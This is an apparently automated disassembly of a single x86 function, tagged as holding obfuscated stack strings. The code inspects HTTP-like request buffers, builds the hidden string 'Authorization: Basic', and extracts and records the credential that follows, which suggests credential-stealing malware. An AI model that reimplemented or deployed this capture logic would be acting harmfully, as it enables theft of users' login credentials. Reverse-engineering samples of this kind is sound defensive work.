Function at 0x342f3c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20ec
call sub.ntdll.dll__chkstk
push ebx
mov ebx, dword [ebp + 0x10]
cmp ebx, 0xa
jle 0x34330f
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ecx, dword [edi]
mov eax, 0x325d6c
cmp ecx, dword [eax]
je 0x34319f
mov eax, 0x3251fc
cmp ecx, dword [eax]
je 0x34319f
mov esi, dword [ebp + 0xc]
push 3
pop ecx
mov edi, 0x325d68
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x34319c
mov esi, dword [ebp + 0xc]
push 3
pop ecx
mov edi, 0x325d60
xor eax, eax
repe cmpsw word [esi], word es:[edi]
je 0x34319c
mov esi, dword [ebp + 0xc]
push 5
pop ecx
mov edi, 0x325d58
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x34319c
mov esi, dword [ebp + 0xc]
push 7
pop ecx
mov edi, 0x325d50
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x34319c
mov esi, dword [ebp + 0xc]
push 7
pop ecx
mov edi, 0x325d48
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x34319c
mov esi, dword [ebp + 0xc]
push 3
pop ecx
mov edi, 0x325204
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x34330d
and dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
call fcn.003298e4
mov ecx, dword [ebp + 0x10]
add esp, 0xc
xor eax, eax
cmp ecx, dword [eax*4 + 0x3690b0]
je 0x34301d
inc eax
cmp eax, 8
jb 0x34300e
cmp eax, 8
jne 0x34330d
mov eax, dword [0x3690d0]
cmp eax, 8
jb 0x343032
xor eax, eax
mov dword [eax*4 + 0x3690b0], ecx
inc eax
push 0x1fff
mov dword [0x3690d0], eax
lea eax, [ebp - 0x20eb]
push 0
push eax
mov byte [ebp - 0x20ec], 0
call sub.ntdll.dll_memset
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x20ec]
push eax
push ebx
push esi
push dword [ebp + 8]
call fcn.00342e12
push ebx
lea eax, [ebp - 0x1c]
push eax
push esi
mov dword [ebp - 0x1c], 0x75410a0d
mov dword [ebp - 0x18], 0x726f6874
mov dword [ebp - 0x14], 0x74617a69
mov dword [ebp - 0x10], 0x3a6e6f69
mov dword [ebp - 0xc], 0x73614220
mov dword [ebp - 8], 0x206369
call fcn.0032f4d4
mov edi, eax
add esp, 0x28
test edi, edi
je 0x34330d
add edi, 0x17
mov eax, esi
sub eax, edi
add eax, ebx
push eax
lea eax, [ebp + 0x10]
push eax
push edi
mov word [ebp + 0x10], 0xa0d
mov byte [ebp + 0x12], 0
call fcn.0032f4d4
add esp, 0xc
test eax, eax
jne 0x3430d7
lea eax, [esi + ebx]
sub eax, edi
push 0xc7
mov esi, eax
lea eax, [ebp - 0xeb]
push 0
push eax
mov byte [ebp - 0xec], 0
call sub.ntdll.dll_memset
add esp, 0xc
cmp esi, 0xc8
jae 0x34330d
lea eax, [ebp - 0xec]
push eax
push esi
push edi
call fcn.0032f85a
lea eax, [ebp - 0xec]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x34311e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
sub eax, esi
mov dword [ebp - 4], eax
add eax, ebx
mov dword [ebp - 0x20], eax
je 0x343148
inc eax
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
jmp 0x34314a
xor esi, esi
test esi, esi
je 0x34330d
push ebx
push dword [ebp + 0xc]
push esi
call sub.ntdll.dll_memcpy
push dword [ebp - 4]
lea eax, [ebp - 0xec]
push eax
lea eax, [esi + ebx]
push eax
call sub.ntdll.dll_memcpy
push dword [ebp - 0x20]
push esi
push 0x325d3c
call fcn.0033d320
add esp, 0x24
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x34330d
push esi
push 0
jmp 0x343304
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0x10]
push eax
push ebx
xor esi, esi
push edi
mov dword [ebp + 0x10], esi
call fcn.003298e4
mov ecx, dword [ebp + 0x10]
add esp, 0xc
xor eax, eax
cmp ecx, dword [eax*4 + 0x3690b0]
je 0x3431c6
inc eax
cmp eax, 8
jb 0x3431b7
cmp eax, 8
jne 0x34330d
mov eax, dword [0x3690d0]
cmp eax, 8
jb 0x3431db
xor eax, eax
mov dword [eax*4 + 0x3690b0], ecx
inc eax
push 0x1fff
mov dword [0x3690d0], eax
lea eax, [ebp - 0x20eb]
push esi
push eax
mov byte [ebp - 0x20ec], 0
call sub.ntdll.dll_memset
lea eax, [ebp - 0x20ec]
push eax
push ebx
push edi
push dword [ebp + 8]
call fcn.00342e12
lea eax, [ebp - 0x20ec]
add esp, 0x1c
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x34321e
sub eax, edi
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x3432a8
lea eax, [eax + ebx + 2]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x34324f
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
jmp 0x343252
mov dword [ebp - 4], esi
cmp dword [ebp - 4], esi
je 0x34330d
mov esi, 0x325c70
lea edi, [ebp + 0x10]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x20]
push esi
lea eax, [ebp - 0x20ec]
push eax
push dword [ebp - 4]
call sub.ntdll.dll_memcpy
mov edi, dword [ebp - 4]
mov cx, word [ebp + 0x10]
lea eax, [edi + esi]
push ebx
push dword [ebp + 0xc]
mov word [eax], cx
add eax, 2
push eax
call sub.ntdll.dll_memcpy
push dword [ebp - 0x24]
push edi
push 0x325d3c
call fcn.0033d320
add esp, 0x24
xor esi, esi
jmp 0x3432e9
cmp ebx, esi
je 0x3432c4
lea eax, [ebx + 1]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
jmp 0x3432c7
mov dword [ebp - 4], esi
cmp dword [ebp - 4], esi
je 0x34330d
push ebx
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.ntdll.dll_memcpy
push ebx
push dword [ebp - 4]
push 0x325d3c
call fcn.0033d320
add esp, 0x18
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x34330d
push dword [ebp - 4]
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
leave
ret